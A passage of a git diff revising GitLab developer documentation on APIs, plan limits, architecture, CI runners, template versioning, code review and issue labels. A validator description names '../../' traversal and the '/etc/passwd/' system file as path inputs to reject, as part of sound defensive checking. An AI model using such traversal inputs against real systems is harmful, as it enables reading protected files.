as in OpenAPI definition files. + ## Methods and parameters description Every method must be described using the [Grape DSL](https://github.com/ruby-grape/grape#describing-methods) @@ -173,7 +175,7 @@ guide on how you can add a new custom validator. validates the parameter value for different cases. Mainly, it checks whether a path is relative and does it contain `../../` relative traversal using `File::Separator` or not, and whether the path is absolute, for example - `/etc/passwd/`. By default, absolute paths are not allowed. However, you can optionally pass in an allowlist for allowed absolute paths in the following way: + `/etc/passwd/`. By default, absolute paths are not allowed. However, you can optionally pass in an allowlist for allowed absolute paths in the following way: `requires :file_path, type: String, file_path: { allowlist: ['/foo/bar/', '/home/foo/', '/app/home'] }` - `Git SHA`: @@ -247,7 +249,7 @@ most basic entity, with successive entities building upon that scope. The `with_api_entity_associations` scope will also [automatically preload data](https://gitlab.com/gitlab-org/gitlab/blob/19f74903240e209736c7668132e6a5a735954e7c/app%2Fmodels%2Ftodo.rb#L34) -for `Todo` _targets_ when returned in the Todos API. +for `Todo` _targets_ when returned in the [to-dos API](../api/todos.md). For more context and discussion about preloading see [this merge request](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/25711) diff --git a/doc/development/application_limits.md b/doc/development/application_limits.md index 4d296451add..f96ed2e7f57 100644 --- a/doc/development/application_limits.md +++ b/doc/development/application_limits.md @@ -17,50 +17,50 @@ limits](https://about.gitlab.com/handbook/product/product-processes/#introducing ### Insert database plan limits -In the `plan_limits` table, you have to create a new column and insert the -limit values. It's recommended to create separate migration script files. - -1. Add new column to the `plan_limits` table with non-null default value - that represents desired limit, such as: - - ```ruby - add_column(:plan_limits, :project_hooks, :integer, default: 100, null: false) - ``` - - NOTE: **Note:** - Plan limits entries set to `0` mean that limits are not - enabled. You should use this setting only in special and documented circumstances. - -1. (Optionally) Create the database migration that fine-tunes each level with - a desired limit using `create_or_update_plan_limit` migration helper, such as: - - ```ruby - class InsertProjectHooksPlanLimits < ActiveRecord::Migration[5.2] - include Gitlab::Database::MigrationHelpers - - DOWNTIME = false - - def up - create_or_update_plan_limit('project_hooks', 'default', 0) - create_or_update_plan_limit('project_hooks', 'free', 10) - create_or_update_plan_limit('project_hooks', 'bronze', 20) - create_or_update_plan_limit('project_hooks', 'silver', 30) - create_or_update_plan_limit('project_hooks', 'gold', 100) - end - - def down - create_or_update_plan_limit('project_hooks', 'default', 0) - create_or_update_plan_limit('project_hooks', 'free', 0) - create_or_update_plan_limit('project_hooks', 'bronze', 0) - create_or_update_plan_limit('project_hooks', 'silver', 0) - create_or_update_plan_limit('project_hooks', 'gold', 0) - end - end - ``` - -NOTE: **Note:** -Some plans exist only on GitLab.com. This will be no-op -for plans that do not exist. +In the `plan_limits` table, create a new column and insert the limit values. +It's recommended to create two separate migration script files. + +1. Add a new column to the `plan_limits` table with non-null default value that + represents desired limit, such as: + + ```ruby + add_column(:plan_limits, :project_hooks, :integer, default: 100, null: false) + ``` + + NOTE: **Note:** + Plan limits entries set to `0` mean that limits are not enabled. You should + use this setting only in special and documented circumstances. + +1. (Optionally) Create the database migration that fine-tunes each level with a + desired limit using `create_or_update_plan_limit` migration helper, such as: + + ```ruby + class InsertProjectHooksPlanLimits < ActiveRecord::Migration[5.2] + include Gitlab::Database::MigrationHelpers + + DOWNTIME = false + + def up + create_or_update_plan_limit('project_hooks', 'default', 0) + create_or_update_plan_limit('project_hooks', 'free', 10) + create_or_update_plan_limit('project_hooks', 'bronze', 20) + create_or_update_plan_limit('project_hooks', 'silver', 30) + create_or_update_plan_limit('project_hooks', 'gold', 100) + end + + def down + create_or_update_plan_limit('project_hooks', 'default', 0) + create_or_update_plan_limit('project_hooks', 'free', 0) + create_or_update_plan_limit('project_hooks', 'bronze', 0) + create_or_update_plan_limit('project_hooks', 'silver', 0) + create_or_update_plan_limit('project_hooks', 'gold', 0) + end + end + ``` + + NOTE: **Note:** + Some plans exist only on GitLab.com. This will be a no-op for plans + that do not exist. ### Plan limits validation diff --git a/doc/development/approval_rules.md b/doc/development/approval_rules.md index 65df82721de..f295c20a36f 100644 --- a/doc/development/approval_rules.md +++ b/doc/development/approval_rules.md @@ -81,7 +81,7 @@ The `ApprovalState` model get these records when approval rules are not overwritten. The `protected_branches` attribute is set and used when a rule is scoped to -protected branches. See [Scoped to Protected Branch doc](../user/project/merge_requests/merge_request_approvals.md#scoped-to-protected-branch-premium) +protected branches. See [Scoped to Protected Branch doc](../user/project/merge_requests/merge_request_approvals.md#scoped-to-protected-branch) for more information about the feature. ### `ApprovalMergeRequestRule` diff --git a/doc/development/architecture.md b/doc/development/architecture.md index 963e1e618a1..f6b1c8cd914 100644 --- a/doc/development/architecture.md +++ b/doc/development/architecture.md @@ -173,7 +173,7 @@ Table description links: | [Gitaly](#gitaly) | Git RPC service for handling all Git calls made by GitLab | ✅ | ✅ | ✅ | ✅ | ⚙ | ✅ | CE & EE | | [GitLab Exporter](#gitlab-exporter) | Generates a variety of GitLab metrics | ✅ | ✅ | ✅ | ✅ | ❌ | ❌ | CE & EE | | [GitLab Geo Node](#gitlab-geo) | Geographically distributed GitLab nodes | ⚙ | ⚙ | ❌ | ✅ | ❌ | ⚙ | EE Only | -| [GitLab Managed Apps](#gitlab-managed-apps) | Deploy Helm, Ingress, Cert-Manager, Prometheus, a Runner, JupyterHub, or Knative to a cluster | ⤓ | ⤓ | ⤓ | ⤓ | ⤓ | ⤓ | CE & EE | +| [GitLab Managed Apps](#gitlab-managed-apps) | Deploy Helm, Ingress, Cert-Manager, Prometheus, GitLab Runner, JupyterHub, or Knative to a cluster | ⤓ | ⤓ | ⤓ | ⤓ | ⤓ | ⤓ | CE & EE | | [GitLab Pages](#gitlab-pages) | Hosts static websites | ⚙ | ❌ | ❌ | ✅ | ⚙ | ⚙ | CE & EE | | [GitLab self-monitoring: Alertmanager](#alertmanager) | Deduplicates, groups, and routes alerts from Prometheus | ⚙ | ✅ | ⚙ | ✅ | ❌ | ❌ | CE & EE | | [GitLab self-monitoring: Grafana](#grafana) | Metrics dashboard | ✅ | ⚙ | ⤓ | ✅ | ❌ | ❌ | CE & EE | @@ -259,7 +259,7 @@ Consul is a tool for service discovery and configuration. Consul is distributed, - Configuration: - [Omnibus](https://docs.gitlab.com/omnibus/settings/database.html#disabling-automatic-database-migration) - [Charts](https://docs.gitlab.com/charts/charts/gitlab/migrations/) - - [Source](../update/upgrading_from_source.md#13-install-libraries-migrations-etc) + - [Source](../update/upgrading_from_source.md#14-install-libraries-migrations-etc) - Layer: Core Service (Data) #### Elasticsearch @@ -304,7 +304,7 @@ repository updates to secondary nodes. #### GitLab Geo - Configuration: - - [Omnibus](../administration/geo/replication/index.md#setup-instructions) + - [Omnibus](../administration/geo/setup/index.md) - [Charts](https://docs.gitlab.com/charts/advanced/geo/) - [GDK](https://gitlab.com/gitlab-org/gitlab-development-kit/blob/master/doc/howto/geo.md) - Layer: Core Service (Processor) @@ -555,7 +555,7 @@ Redis is packaged to provide a place to store: - [Project page](https://github.com/docker/distribution/blob/master/README.md) - Configuration: - - [Omnibus](../update/upgrading_from_source.md#13-install-libraries-migrations-etc) + - [Omnibus](../update/upgrading_from_source.md#14-install-libraries-migrations-etc) - [Charts](https://docs.gitlab.com/charts/charts/registry/) - [Source](../administration/packages/container_registry.md#enable-the-container-registry) - [GDK](https://gitlab.com/gitlab-org/gitlab-development-kit/blob/master/doc/howto/registry.md) @@ -665,7 +665,7 @@ You can install them after you create a cluster. This includes: - [Ingress](https://kubernetes.io/docs/concepts/services-networking/ingress/) - [Cert-Manager](https://cert-manager.io/docs/) - [Prometheus](https://prometheus.io/docs/introduction/overview/) -- a [Runner](https://docs.gitlab.com/runner/) +- [GitLab Runner](https://docs.gitlab.com/runner/) - [JupyterHub](https://jupyter.org) - [Knative](https://cloud.google.com/knative/) diff --git a/doc/development/auto_devops.md b/doc/development/auto_devops.md index 6bdc77fff63..bf259e47cb1 100644 --- a/doc/development/auto_devops.md +++ b/doc/development/auto_devops.md @@ -38,8 +38,7 @@ Some jobs use images that are built from external projects: in which the jobs defined in this template use an image that is built using the [`auto-deploy-image`](https://gitlab.com/gitlab-org/cluster-integration/auto-deploy-image) project. By default, the Helm chart defined in - [`auto-deploy-app`](https://gitlab.com/gitlab-org/charts/auto-deploy-app) - is used to deploy. + [`auto-deploy-app`](https://gitlab.com/gitlab-org/cluster-integration/auto-deploy-image/-/tree/master/assets/auto-deploy-app) is used to deploy. There are extra variables that get passed to the CI jobs when Auto DevOps is enabled that are not present in a normal CI job. These can be diff --git a/doc/development/changelog.md b/doc/development/changelog.md index 8aaf4056384..f57e666540c 100644 --- a/doc/development/changelog.md +++ b/doc/development/changelog.md @@ -30,7 +30,8 @@ the `author` field. GitLab team members **should not**. ## What warrants a changelog entry? - Any change that introduces a database migration, whether it's regular, post, - or data migration, **must** have a changelog entry. + or data migration, **must** have a changelog entry, even if it is behind a + disabled feature flag. - [Security fixes](https://gitlab.com/gitlab-org/release/docs/blob/master/general/security/developer.md) **must** have a changelog entry, without `merge_request` value and with `type` set to `security`. @@ -113,6 +114,11 @@ the `--ee` option: bin/changelog --ee 'Hey DZ, I added a feature to GitLab!' ``` +NOTE: **Note:** +All entries in the `CHANGELOG.md` file apply to all editions of GitLab. +Changelog updates are based on a common [GitLab codebase](https://gitlab.com/gitlab-org/gitlab/), +and are mirrored without proprietary code to [GitLab FOSS](https://gitlab.com/gitlab-org/gitlab-foss/) (also known as GitLab Community Edition). + At this point the script would ask you to select the category of the change (mapped to the `type` field in the entry): ```plaintext diff --git a/doc/development/chatops_on_gitlabcom.md b/doc/development/chatops_on_gitlabcom.md index 0dd916c37fd..3c1c7750842 100644 --- a/doc/development/chatops_on_gitlabcom.md +++ b/doc/development/chatops_on_gitlabcom.md @@ -21,7 +21,7 @@ To request access to Chatops on GitLab.com: 1. Log into <https://ops.gitlab.net/users/sign_in> **using the same username** as for GitLab.com (you may have to rename it). 1. You could also use the "Sign in with" Google button to sign in, with your GitLab.com email address. -1. Ask in the [#production](https://gitlab.slack.com/messages/production) channel for an existing member to add you to the `chatops` project in Ops. They can do it by running `/chatops run member add <username> gitlab-com/chatops --ops` command in that channel. +1. Ask one of your team members to add you to the `chatops` project in Ops. They can do it by running `/chatops run member add <username> gitlab-com/chatops --ops` command in the `#chat-ops-test` Slack channel. NOTE: **Note:** If you had to change your username for GitLab.com on the first step, make sure [to reflect this information](https://gitlab.com/gitlab-com/www-gitlab-com#adding-yourself-to-the-team-page) on [the team page](https://about.gitlab.com/company/team/). diff --git a/doc/development/cicd/index.md b/doc/development/cicd/index.md index 5b598a19a6e..30ccc52ec5e 100644 --- a/doc/development/cicd/index.md +++ b/doc/development/cicd/index.md @@ -25,7 +25,7 @@ On the left side we have the events that can trigger a pipeline based on various - The [Web API](../../api/pipelines.md#create-a-new-pipeline). - A user clicking the "Run Pipeline" button in the UI. - When a [merge request is created or updated](../../ci/merge_request_pipelines/index.md#pipelines-for-merge-requests). -- When an MR is added to a [Merge Train](../../ci/merge_request_pipelines/pipelines_for_merged_results/merge_trains/index.md#merge-trains-premium). +- When an MR is added to a [Merge Train](../../ci/merge_request_pipelines/pipelines_for_merged_results/merge_trains/index.md#merge-trains). - A [scheduled pipeline](../../ci/pipelines/schedules.md#pipeline-schedules). - When project is [subscribed to an upstream project](../../ci/multi_project_pipelines.md#trigger-a-pipeline-when-an-upstream-project-is-rebuilt). - When [Auto DevOps](../../topics/autodevops/index.md) is enabled. @@ -53,28 +53,28 @@ The component that processes a pipeline is [`ProcessPipelineService`](https://gi which is responsible for moving all the pipeline's jobs to a completed state. When a pipeline is created, all its jobs are initially in `created` state. This services looks at what jobs in `created` stage are eligible to be processed based on the pipeline structure. Then it moves them into the `pending` state, which means -they can now [be picked up by a Runner](#job-scheduling). After a job has been executed it can complete +they can now [be picked up by a runner](#job-scheduling). After a job has been executed it can complete successfully or fail. Each status transition for job within a pipeline triggers this service again, which looks for the next jobs to be transitioned towards completion. While doing that, `ProcessPipelineService` updates the status of jobs, stages and the overall pipeline. -On the right side of the diagram we have a list of [Runners](../../ci/runners/README.md#configuring-gitlab-runners) -connected to the GitLab instance. These can be Shared Runners, Group Runners or Project-specific Runners. -The communication between Runners and the Rails server occurs through a set of API endpoints, grouped as +On the right side of the diagram we have a list of [runners](../../ci/runners/README.md) +connected to the GitLab instance. These can be shared runners, group runners, or project-specific runners. +The communication between runners and the Rails server occurs through a set of API endpoints, grouped as the `Runner API Gateway`. -We can register, delete and verify Runners, which also causes read/write queries to the database. After a Runner is connected, +We can register, delete, and verify runners, which also causes read/write queries to the database. After a runner is connected, it keeps asking for the next job to execute. This invokes the [`RegisterJobService`](https://gitlab.com/gitlab-org/gitlab/blob/master/app/services/ci/register_job_service.rb) -which will pick the next job and assign it to the Runner. At this point the job will transition to a +which will pick the next job and assign it to the runner. At this point the job will transition to a `running` state, which again triggers `ProcessPipelineService` due to the status change. For more details read [Job scheduling](#job-scheduling)). -While a job is being executed, the Runner sends logs back to the server as well any possible artifacts +While a job is being executed, the runner sends logs back to the server as well any possible artifacts that need to be stored. Also, a job may depend on artifacts from previous jobs in order to run. In this -case the Runner will download them using a dedicated API endpoint. +case the runner will download them using a dedicated API endpoint. Artifacts are stored in object storage, while metadata is kept in the database. An important example of artifacts -is reports (JUnit, SAST, DAST, etc.) which are parsed and rendered in the merge request. +are reports (JUnit, SAST, DAST, etc.) which are parsed and rendered in the merge request. Job status transitions are not all automated. A user may run [manual jobs](../../ci/yaml/README.md#whenmanual), cancel a pipeline, retry specific failed jobs or the entire pipeline. Anything that @@ -90,25 +90,25 @@ from the `CreatePipelineService` every time a downstream pipeline is triggered. When a Pipeline is created all its jobs are created at once for all stages, with an initial state of `created`. This makes it possible to visualize the full content of a pipeline. -A job with the `created` state won't be seen by the Runner yet. To make it possible to assign a job to a Runner, the job must transition first into the `pending` state, which can happen if: +A job with the `created` state won't be seen by the runner yet. To make it possible to assign a job to a runner, the job must transition first into the `pending` state, which can happen if: 1. The job is created in the very first stage of the pipeline. 1. The job required a manual start and it has been triggered. 1. All jobs from the previous stage have completed successfully. In this case we transition all jobs from the next stage to `pending`. 1. The job specifies DAG dependencies using `needs:` and all the dependent jobs are completed. -When the Runner is connected, it requests the next `pending` job to run by polling the server continuously. +When the runner is connected, it requests the next `pending` job to run by polling the server continuously. NOTE: **Note:** -API endpoints used by the Runner to interact with GitLab are defined in [`lib/api/runner.rb`](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/api/runner.rb) +API endpoints used by the runner to interact with GitLab are defined in [`lib/api/ci/runner.rb`](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/api/ci/runner.rb) -After the server receives the request it selects a `pending` job based on the [`Ci::RegisterJobService` algorithm](#ciregisterjobservice), then assigns and sends the job to the Runner. +After the server receives the request it selects a `pending` job based on the [`Ci::RegisterJobService` algorithm](#ciregisterjobservice), then assigns and sends the job to the runner. -Once all jobs are completed for the current stage, the server "unlocks" all the jobs from the next stage by changing their state to `pending`. These can now be picked by the scheduling algorithm when the Runner requests new jobs, and continues like this until all stages are completed. +Once all jobs are completed for the current stage, the server "unlocks" all the jobs from the next stage by changing their state to `pending`. These can now be picked by the scheduling algorithm when the runner requests new jobs, and continues like this until all stages are completed. -### Communication between Runner and GitLab server +### Communication between runner and GitLab server -Once the Runner is [registered](https://docs.gitlab.com/runner/register/) using the registration token, the server knows what type of jobs it can execute. This depends on: +Once the runner is [registered](https://docs.gitlab.com/runner/register/) using the registration token, the server knows what type of jobs it can execute. This depends on: - The type of runner it is registered as: - a shared runner @@ -116,30 +116,30 @@ Once the Runner is [registered](https://docs.gitlab.com/runner/register/) using - a project specific runner - Any associated tags. -The Runner initiates the communication by requesting jobs to execute with `POST /api/v4/jobs/request`. Although this polling generally happens every few seconds we leverage caching via HTTP headers to reduce the server-side work load if the job queue doesn't change. +The runner initiates the communication by requesting jobs to execute with `POST /api/v4/jobs/request`. Although this polling generally happens every few seconds we leverage caching via HTTP headers to reduce the server-side work load if the job queue doesn't change. This API endpoint runs [`Ci::RegisterJobService`](https://gitlab.com/gitlab-org/gitlab/blob/master/app/services/ci/register_job_service.rb), which: 1. Picks the next job to run from the pool of `pending` jobs -1. Assigns it to the Runner -1. Presents it to the Runner via the API response +1. Assigns it to the runner +1. Presents it to the runner via the API response ### `Ci::RegisterJobService` -There are 3 top level queries that this service uses to gather the majority of the jobs and they are selected based on the level where the Runner is registered to: +There are 3 top level queries that this service uses to gather the majority of the jobs and they are selected based on the level where the runner is registered to: -- Select jobs for shared Runner (instance level) -- Select jobs for group level Runner -- Select jobs for project Runner +- Select jobs for shared runner (instance level) +- Select jobs for group runner +- Select jobs for project runner -This list of jobs is then filtered further by matching tags between job and Runner tags. +This list of jobs is then filtered further by matching tags between job and runner tags. NOTE: **Note:** -If a job contains tags, the Runner will not pick the job if it does not match **all** the tags. -The Runner may have more tags than defined for the job, but not vice-versa. +If a job contains tags, the runner will not pick the job if it does not match **all** the tags. +The runner may have more tags than defined for the job, but not vice-versa. -Finally if the Runner can only pick jobs that are tagged, all untagged jobs are filtered out. +Finally if the runner can only pick jobs that are tagged, all untagged jobs are filtered out. -At this point we loop through remaining `pending` jobs and we try to assign the first job that the Runner "can pick" based on additional policies. For example, Runners marked as `protected` can only pick jobs that run against protected branches (such as production deployments). +At this point we loop through remaining `pending` jobs and we try to assign the first job that the runner "can pick" based on additional policies. For example, runners marked as `protected` can only pick jobs that run against protected branches (such as production deployments). -As we increase the number of Runners in the pool we also increase the chances of conflicts which would arise if assigning the same job to different Runners. To prevent that we gracefully rescue conflict errors and assign the next job in the list. +As we increase the number of runners in the pool we also increase the chances of conflicts which would arise if assigning the same job to different runners. To prevent that we gracefully rescue conflict errors and assign the next job in the list. diff --git a/doc/development/cicd/templates.md b/doc/development/cicd/templates.md index 0169ca42ac6..77cedc9814e 100644 --- a/doc/development/cicd/templates.md +++ b/doc/development/cicd/templates.md @@ -13,15 +13,15 @@ This document explains how to develop [GitLab CI/CD templates](../../ci/examples All template files reside in the `lib/gitlab/ci/templates` directory, and are categorized by the following sub-directories: -| Sub-directroy | Content | [Selectable in UI](#make-sure-the-new-template-can-be-selected-in-ui) | -|---------------|--------------------------------------------------------------|-----------------------------------------------------------------------| -| `/AWS/*` | Cloud Deployment (AWS) related jobs | No | -| `/Jobs/*` | Auto DevOps related jobs | Yes | -| `/Pages/*` | Static site generators for GitLab Pages (for example Jekyll) | Yes | -| `/Security/*` | Security related jobs | Yes | -| `/Verify/*` | Verify/testing related jobs | Yes | -| `/Worklows/*` | Common uses of the `workflow:` keyword | No | -| `/*` (root) | General templates | Yes | +| Sub-directory | Content | [Selectable in UI](#make-sure-the-new-template-can-be-selected-in-ui) | +|----------------|--------------------------------------------------------------|-----------------------------------------------------------------------| +| `/AWS/*` | Cloud Deployment (AWS) related jobs | No | +| `/Jobs/*` | Auto DevOps related jobs | No | +| `/Pages/*` | Static site generators for GitLab Pages (for example Jekyll) | Yes | +| `/Security/*` | Security related jobs | Yes | +| `/Verify/*` | Verify/testing related jobs | Yes | +| `/Workflows/*` | Common uses of the `workflow:` keyword | No | +| `/*` (root) | General templates | Yes | ## Criteria @@ -64,6 +64,67 @@ users have to fix their `.gitlab-ci.yml` that could annoy their workflow. Please read [versioning](#versioning) section for introducing breaking change safely. +## Versioning + +Versioning allows you to introduce a new template without modifying the existing +one. This process is useful when we need to introduce a breaking change, +but don't want to affect the existing projects that depends on the current template. + +### Stable version + +A stable CI/CD template is a template that only introduces breaking changes in major +release milestones. Name the stable version of a template as `<template-name>.gitlab-ci.yml`, +for example `Jobs/Deploy.gitlab-ci.yml`. + +You can make a new stable template by copying [the latest template](#latest-version) +available in a major milestone release of GitLab like `13.0`. All breaking changes +must be announced in a blog post before the official release, for example +[GitLab.com is moving to 13.0, with narrow breaking changes](https://about.gitlab.com/releases/2020/05/06/gitlab-com-13-0-breaking-changes/) + +You can change a stable template version in a minor GitLab release like `13.1` if: + +- The change is not a [breaking change](#backward-compatibility). +- The change is ported to [the latest template](#latest-version), if one exists. + +### Latest version + +Templates marked as `latest` can be updated in any release, even with +[breaking changes](#backward-compatibility). Add `.latest` to the template name if +it's considered the latest version, for example `Jobs/Deploy.latest.gitlab-ci.yml`. + +When you introduce [a breaking change](#backward-compatibility), +you **must** test and document [the upgrade path](#verify-breaking-changes). +In general, we should not promote the latest template as the best option, as it could surprise users with unexpected problems. + +If the `latest` template does not exist yet, you can copy [the stable template](#stable-version). + +### How to include an older stable template + +Users may want to use an older [stable template](#stable-version) that is not bundled +in the current GitLab package. For example, the stable templates in GitLab v13.0 and +GitLab v14.0 could be so different that a user will want to continue using the v13.0 template even +after upgrading to GitLab 14.0. + +You can add a note in the template or in documentation explaining how to use `include:remote` +to include older template versions. If other templates are included with `include: template`, +they can be combined with the `include: remote`: + +```yaml +# To use the v13 stable template, which is not included in v14, fetch the specifc +# template from the remote template repository with the `include:remote:` keyword. +# If you fetch from the GitLab canonical project, use the following URL format: +# https://gitlab.com/gitlab-org/gitlab/-/raw/<version>/lib/gitlab/ci/templates/<template-name> +include: + - template: Auto-DevOps.gitlab-ci.yml + - remote: https://gitlab.com/gitlab-org/gitlab/-/raw/v13.0.1-ee/lib/gitlab/ci/templates/Jobs/Deploy.gitlab-ci.yml +``` + +### Further reading + +There is an [open issue](https://gitlab.com/gitlab-org/gitlab/-/issues/17716) about +introducing versioning concepts in GitLab CI Templates. You can check that issue to +follow the progress. + ## Testing Each CI/CD template must be tested in order to make sure that it's safe to be published. @@ -95,18 +156,20 @@ You should write an RSpec test to make sure that pipeline jobs will be generated 1. Add a test file at `spec/lib/gitlab/ci/templates/<template-category>/<template-name>_spec.rb` 1. Test that pipeline jobs are properly created via `Ci::CreatePipelineService`. +### Verify breaking changes + +When you introduce a breaking change to [a `latest` template](#latest-version), +you must: + +1. Test the upgrade path from [the stable template](#stable-version). +1. Verify what kind of errors users will encounter. +1. Document it as a troubleshooting guide. + +This information will be important for users when [a stable template](#stable-version) +is updated in a major version GitLab release. + ## Security A template could contain malicious code. For example, a template that contains the `export` shell command in a job might accidentally expose project secret variables in a job log. If you're unsure if it's secure or not, you need to ask security experts for cross-validation. - -## Versioning - -Versioning allows you to introduce a new template without modifying the existing -one. This is useful process especially when we need to introduce a breaking change, -but don't want to affect the existing projects that depends on the current template. - -There is an [open issue](https://gitlab.com/gitlab-org/gitlab/-/issues/17716) for -introducing versioning concept in GitLab Ci Template. Please follow the issue for -checking the progress. diff --git a/doc/development/code_review.md b/doc/development/code_review.md index 2159f7a9ed5..2e319efa5f3 100644 --- a/doc/development/code_review.md +++ b/doc/development/code_review.md @@ -99,6 +99,7 @@ with [domain expertise](#domain-experts). 1. If your merge request includes end-to-end **and** non-end-to-end changes (*3*), it must be **approved by a [Software Engineer in Test](https://about.gitlab.com/handbook/engineering/quality/#individual-contributors)**. 1. If your merge request only includes end-to-end changes (*3*) **or** if the MR author is a [Software Engineer in Test](https://about.gitlab.com/handbook/engineering/quality/#individual-contributors), it must be **approved by a [Quality maintainer](https://about.gitlab.com/handbook/engineering/projects/#gitlab_maintainers_qa)** +1. If your merge request includes a new or updated [application limit](https://about.gitlab.com/handbook/product/product-processes/#introducing-application-limits), it must be **approved by a [product manager](https://about.gitlab.com/company/team/)**. - (*1*): Please note that specs other than JavaScript specs are considered backend code. - (*2*): We encourage you to seek guidance from a database maintainer if your merge @@ -138,7 +139,7 @@ up confusion or verify that the end result matches what they had in mind, to database specialists to get input on the data model or specific queries, or to any other developer to get an in-depth review of the solution. -If an author is unsure if a merge request needs a [domain experts's](#domain-experts) opinion, that's +If an author is unsure if a merge request needs a [domain expert's](#domain-experts) opinion, that's usually a pretty good sign that it does, since without it the required level of confidence in their solution will not have been reached. @@ -358,12 +359,13 @@ When ready to merge: messy commit history that is intended to be squashed. - **Start a new merge request pipeline with the `Run Pipeline` button in the merge request's "Pipelines" tab, and enable "Merge When Pipeline Succeeds" (MWPS).** Note that: - - If the **latest [Pipeline for Merged Results](../ci/merge_request_pipelines/pipelines_for_merged_results/#pipelines-for-merged-results-premium)** finished less than 2 hours ago, you + - If the **latest [Pipeline for Merged Results](../ci/merge_request_pipelines/pipelines_for_merged_results/#pipelines-for-merged-results)** finished less than 2 hours ago, you might merge without starting a new pipeline as the merge request is close enough to `master`. - - If the **merge request is from a fork**, we can't use [Pipelines for Merged Results](../ci/merge_request_pipelines/pipelines_for_merged_results/index.md#prerequisites), therefore, they're more prone to breaking `master`. - Check how far behind `master` the source branch is. If it's more than 100 commits behind, ask the author to - rebase it before merging. + - If the **merge request is from a fork**, we can use [Pipelines for Merged Results from a forked project](../ci/merge_request_pipelines/index.md#run-pipelines-in-the-parent-project-for-merge-requests-from-a-forked-project) with caution. + Before triggering the pipeline, review all changes for **malicious code**. + If you cannot trigger the pipeline, review the status of the fork relative to `master`. + If it's more than 100 commits behind, ask the author to rebase it before merging. - If [master is broken](https://about.gitlab.com/handbook/engineering/workflow/#broken-master), in addition to the two above rules, check that any failure also happens in `master` and post a link to the ~"master:broken" issue before clicking the diff --git a/doc/development/contributing/index.md b/doc/development/contributing/index.md index cea9043a333..7550fe69546 100644 --- a/doc/development/contributing/index.md +++ b/doc/development/contributing/index.md @@ -67,6 +67,11 @@ we credit the original author by adding a changelog entry crediting the author and optionally include the original author on at least one of the commits within the MR. +## Closing policy for inactive bugs + +GitLab values the time spent by contributors on reporting bugs. However, if a bug remains inactive for a very long period, +it will qualify for auto-closure. Please refer to the [auto-close inactive bugs](https://about.gitlab.com/handbook/engineering/quality/triage-operations/#auto-close-inactive-bugs) section in our handbook to understand the complete workflow. + ## Helping others Help other GitLab users when you can. @@ -81,6 +86,11 @@ If you would like to contribute to GitLab: - Issues with the [`~Accepting merge requests` label](issue_workflow.md#label-for-community-contributors) are a great place to start. +- Optimizing our tests is another great opportunity to contribute. You can use + [RSpec profiling statistics](https://gitlab-org.gitlab.io/rspec_profiling_stats/) to identify + slowest tests. These tests are good candidates for improving and checking if any of + [best practices](../testing_guide/best_practices.md) + could speed them up. - Consult the [Contribution Flow](#contribution-flow) section to learn the process. If you have any questions or need help visit [Getting Help](https://about.gitlab.com/get-help/) to diff --git a/doc/development/contributing/issue_workflow.md b/doc/development/contributing/issue_workflow.md index 76175cb7b66..bb7b4713a5e 100644 --- a/doc/development/contributing/issue_workflow.md +++ b/doc/development/contributing/issue_workflow.md @@ -36,21 +36,21 @@ project. To allow for asynchronous issue handling, we use [milestones](https://gitlab.com/groups/gitlab-org/-/milestones) and [labels](https://gitlab.com/gitlab-org/gitlab/-/labels). Leads and product managers handle most of the -scheduling into milestones. Labeling is a task for everyone. +scheduling into milestones. Labeling is a task for everyone. (For some projects, labels can be set only by GitLab team members and not by community contributors). Most issues will have labels for at least one of the following: -- Type: `~feature`, `~bug`, `~backstage`, `~documentation`, etc. +- Type: `~feature`, `~bug`, `~tooling`, `~documentation`, etc. - Stage: `~"devops::plan"`, `~"devops::create"`, etc. - Group: `~"group::source code"`, `~"group::knowledge"`, `~"group::editor"`, etc. -- Category: `~"Category:Code Analytics"`, `~"Category:DevOps Score"`, `~"Category:Templates"`, etc. +- Category: `~"Category:Code Analytics"`, `~"Category:DevOps Reports"`, `~"Category:Templates"`, etc. - Feature: `~wiki`, `~ldap`, `~api`, `~issues`, `~"merge requests"`, etc. - Department: `~UX`, `~Quality` - Team: `~"Technical Writing"`, `~Delivery` - Specialization: `~frontend`, `~backend`, `~documentation` - Release Scoping: `~Deliverable`, `~Stretch`, `~"Next Patch Release"` -- Priority: `~P::1`, `~P::2`, `~P::3`, `~P::4` -- Severity: ~`S::1`, `~S::2`, `~S::3`, `~S::4` +- Priority: `~"priority::1"`, `~"priority::2"`, `~"priority::3"`, `~"priority::4"` +- Severity: ~`"severity::1"`, `~"severity::2"`, `~"severity::3"`, `~"severity::4"` All labels, their meaning and priority are defined on the [labels page](https://gitlab.com/gitlab-org/gitlab/-/labels). @@ -67,7 +67,7 @@ The current type labels are: - ~feature - ~bug -- ~backstage +- ~tooling - ~"support request" - ~meta - ~documentation @@ -93,9 +93,9 @@ Following is a non-exhaustive list of facet labels: - ~enhancement: This label can refine an issue that has the ~feature label. - ~"master:broken": This label can refine an issue that has the ~bug label. - ~"failure::flaky-test": This label can refine an issue that has the ~bug label. -- ~"technical debt": This label can refine an issue that has the ~backstage label. -- ~"static analysis": This label can refine an issue that has the ~backstage label. -- ~"ci-build": This label can refine an issue that has the ~backstage label. +- ~"technical debt": This label can refine an issue that has the ~tooling label. +- ~"static analysis": This label can refine an issue that has the ~tooling label. +- ~"ci-build": This label can refine an issue that has the ~tooling label. - ~performance: A performance issue could describe a ~bug or a ~feature. - ~security: A security issue could describe a ~bug or a ~feature. - ~database: A database issue could describe a ~bug or a ~feature. @@ -118,7 +118,7 @@ the `gitlab-org` group since its key under `stages` is `manage`. The current stage labels can be found by [searching the labels list for `devops::`](https://gitlab.com/groups/gitlab-org/-/labels?search=devops::). -These labels are [scoped labels](../../user/project/labels.md#scoped-labels-premium) +These labels are [scoped labels](../../user/project/labels.md#scoped-labels) and thus are mutually exclusive. The Stage labels are used to generate the [direction pages](https://about.gitlab.com/direction/) automatically. @@ -145,7 +145,7 @@ under `stages.manage.groups` is `continuous_integration`. The current group labels can be found by [searching the labels list for `group::`](https://gitlab.com/groups/gitlab-org/-/labels?search=group::). -These labels are [scoped labels](../../user/project/labels.md#scoped-labels-premium) +These labels are [scoped labels](../../user/project/labels.md#scoped-labels) and thus are mutually exclusive. You can find the groups listed in the [Product Stages, Groups, and Categories](https://about.gitlab.com/handbook/product/product-categories/) page. @@ -188,9 +188,9 @@ their color is `#428BCA`. `<Category Name>` is the category name as it is in the single source of truth for categories at <https://gitlab.com/gitlab-com/www-gitlab-com/blob/master/data/categories.yml>. -For instance, the 